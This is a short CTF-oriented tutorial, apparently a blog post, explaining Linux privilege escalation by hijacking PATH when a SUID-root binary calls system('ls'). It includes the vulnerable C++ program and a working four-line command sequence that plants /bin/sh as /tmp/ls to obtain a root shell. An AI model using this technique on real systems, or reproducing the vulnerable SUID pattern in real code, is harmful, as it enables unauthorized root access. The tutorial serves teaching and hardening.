Hi, I thought I would show today how to do a privilege escalation via environment variables. I've run across this several times in CTF's so I decided to go into it a bit more.
What are Environment variables?
Environment variables are global variables that are defined in a user session and for the system. Under Linux e.g. the variable PATH which is defined in each user session. This variable contains all paths which contain programs e.g. nmap, bash, fsck etc... these can be changed in the .bashrc as well as in current terminal once or permanently.
How can it be used for privilege escalation?
What does this have to do with privilege escalation? Well, some programs use these variables to execute certain things like "Download the file so and so with the command" or "Execute the command so and so for such and such purposes". And here is the crux, because if the program has the SUID bit set and is owned by the root user, you can easily change the PATH variable so that it no longer points to the default paths, but to its own paths, where e.g. a shell named after the command is located.
What happens when executing a command? When executing a command, the PATH variable is retrieved each time and each individual path is checked to see if the command is located there. If this is the case, the search is aborted and the command, i.e. the actual program, is executed. The SH shell is located in the /bin
path which is stored in the PATH variable. If the shell is started now, it will be checked if the program "sh" exists, if it does, which is the case with /bin
, it will be executed.
Example privilege escalation
As an example, I have a small program, which should execute the command ls. The program looks in the following so 😄
#include <iostream>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv)
{
setuid(0);
system("ls");
return 0;
}
What happens here? The first thing that happens here is that setuid is executed to 0. The number 0 stands for the user ID of root. That means we want to execute the program with root rights. After that we simply execute the command ls with system and we see the directory where the program is located.
In the picture we see our program which has the SUID bit set and belongs to the root user. the execution of the program shows us the contents of the current directory. From here the magic begins.
We can now simply go and adjust the PATH variable so that it points to a different path.
echo "/bin/sh" > /tmp/ls
export PATH=/tmp
chmod +x /tmp/ls
./programm
With these small commands we can do quite a lot. In the picture below you can see that very well.
We see we now have root privileges and can do whatever we want.
What do we learn from this? Never, really never set SUID=Root on programs. This can backfire very fast.
I hope you enjoyed it and have fun with further CTF's 😄